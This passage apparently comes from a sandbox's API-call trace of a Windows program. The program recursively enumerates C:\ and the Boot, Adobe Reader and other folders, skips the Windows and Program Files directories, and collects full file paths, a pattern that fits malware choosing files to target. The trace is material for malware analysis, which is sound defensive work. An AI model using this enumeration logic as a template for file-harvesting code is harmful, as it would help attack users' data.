returned="c:\\Boot\\ru-RU" [0123.799] lstrcatW (in: lpString1="c:\\Boot\\ru-RU", lpString2="\\" | out: lpString1="c:\\Boot\\ru-RU\\") returned="c:\\Boot\\ru-RU\\" [0123.799] lstrlenW (lpString="c:\\Boot\\ru-RU\\") returned 14 [0123.799] lstrcatW (in: lpString1="c:\\Boot\\ru-RU\\", lpString2="*" | out: lpString1="c:\\Boot\\ru-RU\\*") returned="c:\\Boot\\ru-RU\\*" [0123.799] FindFirstFileW (in: lpFileName="c:\\Boot\\ru-RU\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.799] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.799] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.799] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.799] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.799] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.799] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.799] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.799] lstrlenW (lpString="c:\\Boot\\ru-RU\\") returned 14 [0123.799] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.799] lstrcatW (in: lpString1="c:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="c:\\Boot\\ru-RU\\bootmgr.exe.mui" [0123.799] lstrlenW (lpString="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0123.799] lstrcpyW (in: lpString1=0x6dd828, lpString2="c:\\Boot\\ru-RU\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="c:\\Boot\\ru-RU\\bootmgr.exe.mui" [0123.799] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.800] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.800] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.800] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0123.800] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0123.800] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.800] lstrlenW (lpString="sv-SE") returned 5 [0123.800] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="sv-SE" | out: lpString1="c:\\Boot\\sv-SE") returned="c:\\Boot\\sv-SE" [0123.800] lstrcatW (in: lpString1="c:\\Boot\\sv-SE", lpString2="\\" | out: lpString1="c:\\Boot\\sv-SE\\") returned="c:\\Boot\\sv-SE\\" [0123.800] lstrlenW (lpString="c:\\Boot\\sv-SE\\") returned 14 [0123.800] lstrcatW (in: lpString1="c:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="c:\\Boot\\sv-SE\\*") returned="c:\\Boot\\sv-SE\\*" [0123.800] FindFirstFileW (in: lpFileName="c:\\Boot\\sv-SE\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.800] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.800] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.800] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.800] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.800] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.800] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.800] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.800] lstrlenW (lpString="c:\\Boot\\sv-SE\\") returned 14 [0123.800] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.800] lstrcatW (in: lpString1="c:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="c:\\Boot\\sv-SE\\bootmgr.exe.mui" [0123.800] lstrlenW (lpString="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0123.800] lstrcpyW (in: lpString1=0x6dd870, lpString2="c:\\Boot\\sv-SE\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="c:\\Boot\\sv-SE\\bootmgr.exe.mui" [0123.800] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.800] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.800] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.800] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0123.800] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0123.800] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.800] lstrlenW (lpString="tr-TR") returned 5 [0123.800] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="tr-TR" | out: lpString1="c:\\Boot\\tr-TR") returned="c:\\Boot\\tr-TR" [0123.800] lstrcatW (in: lpString1="c:\\Boot\\tr-TR", lpString2="\\" | out: lpString1="c:\\Boot\\tr-TR\\") returned="c:\\Boot\\tr-TR\\" [0123.800] lstrlenW (lpString="c:\\Boot\\tr-TR\\") returned 14 [0123.800] lstrcatW (in: lpString1="c:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="c:\\Boot\\tr-TR\\*") returned="c:\\Boot\\tr-TR\\*" [0123.800] FindFirstFileW (in: lpFileName="c:\\Boot\\tr-TR\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.801] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.801] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.801] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.801] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.801] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.801] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.801] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.801] lstrlenW (lpString="c:\\Boot\\tr-TR\\") returned 14 [0123.801] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.801] lstrcatW (in: lpString1="c:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="c:\\Boot\\tr-TR\\bootmgr.exe.mui" [0123.801] lstrlenW (lpString="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0123.801] lstrcpyW (in: lpString1=0x6dd8b8, lpString2="c:\\Boot\\tr-TR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="c:\\Boot\\tr-TR\\bootmgr.exe.mui" [0123.801] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.801] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.801] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.801] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0123.801] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0123.801] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.801] lstrlenW (lpString="zh-CN") returned 5 [0123.801] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-CN" | out: lpString1="c:\\Boot\\zh-CN") returned="c:\\Boot\\zh-CN" [0123.801] lstrcatW (in: lpString1="c:\\Boot\\zh-CN", lpString2="\\" | out: lpString1="c:\\Boot\\zh-CN\\") returned="c:\\Boot\\zh-CN\\" [0123.801] lstrlenW (lpString="c:\\Boot\\zh-CN\\") returned 14 [0123.801] lstrcatW (in: lpString1="c:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-CN\\*") returned="c:\\Boot\\zh-CN\\*" [0123.801] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-CN\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.802] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.802] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.802] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.802] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.802] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.802] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.802] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.802] lstrlenW (lpString="c:\\Boot\\zh-CN\\") returned 14 [0123.802] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.802] lstrcatW (in: lpString1="c:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="c:\\Boot\\zh-CN\\bootmgr.exe.mui" [0123.802] lstrlenW (lpString="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0123.802] lstrcpyW (in: lpString1=0x6dd900, lpString2="c:\\Boot\\zh-CN\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="c:\\Boot\\zh-CN\\bootmgr.exe.mui" [0123.802] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.802] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.802] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.802] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0123.802] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0123.802] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.802] lstrlenW (lpString="zh-HK") returned 5 [0123.802] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-HK" | out: lpString1="c:\\Boot\\zh-HK") returned="c:\\Boot\\zh-HK" [0123.802] lstrcatW (in: lpString1="c:\\Boot\\zh-HK", lpString2="\\" | out: lpString1="c:\\Boot\\zh-HK\\") returned="c:\\Boot\\zh-HK\\" [0123.802] lstrlenW (lpString="c:\\Boot\\zh-HK\\") returned 14 [0123.802] lstrcatW (in: lpString1="c:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-HK\\*") returned="c:\\Boot\\zh-HK\\*" [0123.802] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-HK\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.802] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.802] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.802] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.802] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.802] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.802] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.802] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.802] lstrlenW (lpString="c:\\Boot\\zh-HK\\") returned 14 [0123.802] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.802] lstrcatW (in: lpString1="c:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="c:\\Boot\\zh-HK\\bootmgr.exe.mui" [0123.802] lstrlenW (lpString="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0123.802] lstrcpyW (in: lpString1=0x6dd948, lpString2="c:\\Boot\\zh-HK\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="c:\\Boot\\zh-HK\\bootmgr.exe.mui" [0123.802] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.802] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.803] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.803] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0123.803] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0123.803] lstrlenW (lpString="c:\\Boot\\") returned 8 [0123.803] lstrlenW (lpString="zh-TW") returned 5 [0123.803] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-TW" | out: lpString1="c:\\Boot\\zh-TW") returned="c:\\Boot\\zh-TW" [0123.803] lstrcatW (in: lpString1="c:\\Boot\\zh-TW", lpString2="\\" | out: lpString1="c:\\Boot\\zh-TW\\") returned="c:\\Boot\\zh-TW\\" [0123.803] lstrlenW (lpString="c:\\Boot\\zh-TW\\") returned 14 [0123.803] lstrcatW (in: lpString1="c:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-TW\\*") returned="c:\\Boot\\zh-TW\\*" [0123.803] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-TW\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.803] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.803] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.803] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.803] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.803] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.803] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0123.803] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0123.803] lstrlenW (lpString="c:\\Boot\\zh-TW\\") returned 14 [0123.803] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0123.803] lstrcatW (in: lpString1="c:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="c:\\Boot\\zh-TW\\bootmgr.exe.mui" [0123.803] lstrlenW (lpString="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0123.803] lstrcpyW (in: lpString1=0x6dd990, lpString2="c:\\Boot\\zh-TW\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="c:\\Boot\\zh-TW\\bootmgr.exe.mui" [0123.803] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.803] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.803] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0 [0123.803] FindClose (in: hFindFile=0x4d5720 | out: hFindFile=0x4d5720) returned 1 [0123.803] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.803] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0123.803] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0123.803] lstrcmpW (lpString1="bootmgr", lpString2="Windows") returned -1 [0123.803] lstrcmpW (lpString1="bootmgr", lpString2="Program Files") returned -1 [0123.803] lstrlenW (lpString="c:\\") returned 3 [0123.803] lstrlenW (lpString="bootmgr") returned 7 [0123.803] lstrcatW (in: lpString1="c:\\", lpString2="bootmgr" | out: lpString1="c:\\bootmgr") returned="c:\\bootmgr" [0123.803] lstrlenW (lpString="c:\\bootmgr") returned 10 [0123.803] lstrcpyW (in: lpString1=0x6dec10, lpString2="c:\\bootmgr" | out: lpString1="c:\\bootmgr") returned="c:\\bootmgr" [0123.804] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.804] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0123.804] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0123.804] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Windows") returned -1 [0123.804] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Program Files") returned -1 [0123.804] lstrlenW (lpString="c:\\") returned 3 [0123.804] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0123.804] lstrcatW (in: lpString1="c:\\", lpString2="BOOTSECT.BAK" | out: lpString1="c:\\BOOTSECT.BAK") returned="c:\\BOOTSECT.BAK" [0123.804] lstrlenW (lpString="c:\\BOOTSECT.BAK") returned 15 [0123.804] lstrcpyW (in: lpString1=0x6dec30, lpString2="c:\\BOOTSECT.BAK" | out: lpString1="c:\\BOOTSECT.BAK") returned="c:\\BOOTSECT.BAK" [0123.804] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.804] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0123.804] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0123.804] lstrcmpW (lpString1="Documents and Settings", lpString2="Windows") returned -1 [0123.804] lstrcmpW (lpString1="Documents and Settings", lpString2="Program Files") returned -1 [0123.804] lstrlenW (lpString="c:\\") returned 3 [0123.804] lstrlenW (lpString="Documents and Settings") returned 22 [0123.804] lstrcatW (in: lpString1="c:\\", lpString2="Documents and Settings" | out: lpString1="c:\\Documents and Settings") returned="c:\\Documents and Settings" [0123.804] lstrcatW (in: lpString1="c:\\Documents and Settings", lpString2="\\" | out: lpString1="c:\\Documents and Settings\\") returned="c:\\Documents and Settings\\" [0123.804] lstrlenW (lpString="c:\\Documents and Settings\\") returned 26 [0123.804] lstrcatW (in: lpString1="c:\\Documents and Settings\\", lpString2="*" | out: lpString1="c:\\Documents and Settings\\*") returned="c:\\Documents and Settings\\*" [0123.804] FindFirstFileW (in: lpFileName="c:\\Documents and Settings\\*", lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0xffffffff [0123.804] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.804] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0123.804] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0123.804] lstrcmpW (lpString1="hiberfil.sys", lpString2="Windows") returned -1 [0123.804] lstrcmpW (lpString1="hiberfil.sys", lpString2="Program Files") returned -1 [0123.804] lstrlenW (lpString="c:\\") returned 3 [0123.804] lstrlenW (lpString="hiberfil.sys") returned 12 [0123.804] lstrcatW (in: lpString1="c:\\", lpString2="hiberfil.sys" | out: lpString1="c:\\hiberfil.sys") returned="c:\\hiberfil.sys" [0123.804] lstrlenW (lpString="c:\\hiberfil.sys") returned 15 [0123.804] lstrcpyW (in: lpString1=0x6dec58, lpString2="c:\\hiberfil.sys" | out: lpString1="c:\\hiberfil.sys") returned="c:\\hiberfil.sys" [0123.804] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.804] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0123.804] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0123.804] lstrcmpW (lpString1="pagefile.sys", lpString2="Windows") returned -1 [0123.804] lstrcmpW (lpString1="pagefile.sys", lpString2="Program Files") returned -1 [0123.804] lstrlenW (lpString="c:\\") returned 3 [0123.804] lstrlenW (lpString="pagefile.sys") returned 12 [0123.804] lstrcatW (in: lpString1="c:\\", lpString2="pagefile.sys" | out: lpString1="c:\\pagefile.sys") returned="c:\\pagefile.sys" [0123.804] lstrlenW (lpString="c:\\pagefile.sys") returned 15 [0123.805] lstrcpyW (in: lpString1=0x6dec80, lpString2="c:\\pagefile.sys" | out: lpString1="c:\\pagefile.sys") returned="c:\\pagefile.sys" [0123.805] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.805] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0123.805] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0123.805] lstrcmpW (lpString1="PerfLogs", lpString2="Windows") returned -1 [0123.805] lstrcmpW (lpString1="PerfLogs", lpString2="Program Files") returned -1 [0123.805] lstrlenW (lpString="c:\\") returned 3 [0123.805] lstrlenW (lpString="PerfLogs") returned 8 [0123.805] lstrcatW (in: lpString1="c:\\", lpString2="PerfLogs" | out: lpString1="c:\\PerfLogs") returned="c:\\PerfLogs" [0123.805] lstrcatW (in: lpString1="c:\\PerfLogs", lpString2="\\" | out: lpString1="c:\\PerfLogs\\") returned="c:\\PerfLogs\\" [0123.805] lstrlenW (lpString="c:\\PerfLogs\\") returned 12 [0123.805] lstrcatW (in: lpString1="c:\\PerfLogs\\", lpString2="*" | out: lpString1="c:\\PerfLogs\\*") returned="c:\\PerfLogs\\*" [0123.805] FindFirstFileW (in: lpFileName="c:\\PerfLogs\\*", lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0xffffffff [0123.805] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.805] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0123.805] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0123.805] lstrcmpW (lpString1="Program Files", lpString2="Windows") returned -1 [0123.805] lstrcmpW (lpString1="Program Files", lpString2="Program Files") returned 0 [0123.805] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.805] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0123.805] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0123.805] lstrcmpW (lpString1="Program Files (x86)", lpString2="Windows") returned -1 [0123.805] lstrcmpW (lpString1="Program Files (x86)", lpString2="Program Files") returned 1 [0123.805] lstrlenW (lpString="c:\\") returned 3 [0123.805] lstrlenW (lpString="Program Files (x86)") returned 19 [0123.805] lstrcatW (in: lpString1="c:\\", lpString2="Program Files (x86)" | out: lpString1="c:\\Program Files (x86)") returned="c:\\Program Files (x86)" [0123.805] lstrcatW (in: lpString1="c:\\Program Files (x86)", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\") returned="c:\\Program Files (x86)\\" [0123.805] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.805] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\*") returned="c:\\Program Files (x86)\\*" [0123.805] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\*", lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0x4d5720 [0123.805] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.805] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.805] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.805] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.805] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.806] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0123.806] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0123.806] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.806] lstrlenW (lpString="Adobe") returned 5 [0123.806] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Adobe" | out: lpString1="c:\\Program Files (x86)\\Adobe") returned="c:\\Program Files (x86)\\Adobe" [0123.806] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Adobe\\") returned="c:\\Program Files (x86)\\Adobe\\" [0123.806] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\") returned 29 [0123.806] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Adobe\\*") returned="c:\\Program Files (x86)\\Adobe\\*" [0123.806] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.806] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.806] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.806] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.806] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.806] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.806] lstrcmpW (lpString1="Reader 10.0", lpString2=".") returned 1 [0123.806] lstrcmpW (lpString1="Reader 10.0", lpString2="..") returned 1 [0123.806] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\") returned 29 [0123.806] lstrlenW (lpString="Reader 10.0") returned 11 [0123.806] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\", lpString2="Reader 10.0" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0" [0123.806] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0123.806] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.806] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*" [0123.806] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.806] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.806] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.806] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.806] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.806] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.806] lstrcmpW (lpString1="Benioku.htm", lpString2=".") returned 1 [0123.806] lstrcmpW (lpString1="Benioku.htm", lpString2="..") returned 1 [0123.806] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.806] lstrlenW (lpString="Benioku.htm") returned 11 [0123.806] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Benioku.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0123.806] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned 52 [0123.806] lstrcpyW (in: lpString1=0x6deca8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0123.806] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.806] lstrcmpW (lpString1="Berime.htm", lpString2=".") returned 1 [0123.806] lstrcmpW (lpString1="Berime.htm", lpString2="..") returned 1 [0123.806] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0123.806] lstrlenW (lpString="Berime.htm") returned 10 [0123.806] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Berime.htm" | out: lpString1="c:\\Program Files 